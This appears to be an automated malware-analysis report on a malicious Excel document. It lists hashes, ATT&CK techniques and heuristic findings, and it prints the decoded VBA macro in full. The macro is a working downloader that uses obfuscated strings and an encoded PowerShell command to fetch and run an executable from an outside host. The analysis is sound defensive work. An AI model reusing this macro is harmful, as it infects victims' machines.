Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7b4bda9aec76468b…

MALICIOUS

Office (OLE)

6.0 KB First seen: 2021-10-23
MD5: c18290cc6d4121d4a6d838f7d6ff78f4 SHA-1: 6cd4917fb239a3a94f353ee3c275d17665190f2c SHA-256: 7b4bda9aec76468b9098509e5a100d3c56034cbbe32a01d7310d5a663133f541
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The VBA macro contains obfuscated code that, when reassembled, constructs a PowerShell command. This command is designed to download a file named 'nwabe.exe' from 'http://samplighter.com/' and execute it. The use of `Shell()` and the reassembled API name 'PowerShell' strongly indicate a downloader functionality.

Heuristics 3

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2844 bytes
SHA-256: d0130cb0d0115a036f1ad90930ad3dc0232cd67c5be81639c4377acce6189045
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_SheetBeforeRightClick(ByVal Sh As Object, ByVal Target As Range, Cancel As Boolean)

End Sub

Private Sub Workbook_SheetCalculate(ByVal Sh As Object)

End Sub

Private Sub Workbook_Activate()
On Error Resume Next
Dim i As Double
Dim batch As String
Dim call1 As String
Dim s As String
s = s + "start /MIN C:\Windo"
s = s + "ws\System32\" + "Wind" + "owsPo" + "werShe" + "ll\v1.0\pow" + "ersh" + "ell.exe"
s = s + " -win " + "1 -enc"
s = s + " "

s = s + "JABQAHIAbwBjA"
s = s + "E4AYQBtAGUAIA"
s = s + "A9ACAAIgBZAHY"
s = s + "AaQBrAHoAYwBu"
s = s + "AGEALgBlAHgAZ"
s = s + "QAiADsAKABOAG"
s = s + "UAdwAtAE8AYgB"
s = s + "qAGUAYwB0ACAA"
s = s + "UwB5AHMAdABlA"
s = s + "G0ALgBOAGUAdA"
s = s + "AuAFcAZQBiAEM"
s = s + "AbABpAGUAbgB0"
s = s + "ACkALgBEAG8Ad"
s = s + "wBuAGwAbwBhAG"
s = s + "QARgBpAGwAZQA"
s = s + "oACIAaAB0AHQA"
s = s + "cAA6AC8ALwBzA"
s = s + "GEAbQBsAGkAZw"
s = s + "BoAHQAZQByAC4"
s = s + "AYwBvAG0ALwBu"
s = s + "AHcAYQBiAGEAL"
s = s + "gBlAHgAZQAiAC"
s = s + "wAIgAkAGUAbgB"
s = s + "2ADoAQQBQAFAA"
s = s + "RABBAFQAQQBcA"
s = s + "CQAUAByAG8AYw"
s = s + "BOAGEAbQBlACI"
s = s + "AKQA7AFMAdABh"
s = s + "AHIAdAAtAFAAc"
s = s + "gBvAGMAZQBzAH"
s = s + "MAIAAoACIAJAB"
s = s + "lAG4AdgA6AEEA"
s = s + "UABQAEQAQQBUA"
s = s + "EEAXAAkAFAAcg"
s = s + "BvAGMATgBhAG0"
s = s + "AZQAiACkA"


ActiveWorkbook.Save
batch = "Berkhkwic.bat"
Open batch For Output As #1
    Print #1, s 
    Close #1
    i = Shell(batch, 0)

End Sub

Private Sub Cellss()

End Sub

Private Sub Workbook_SheetSelectionChange(ByVal Sh As Object, ByVal Target As Range)

End Sub



Attribute VB_Name = "Start"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Learn more"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Workbook"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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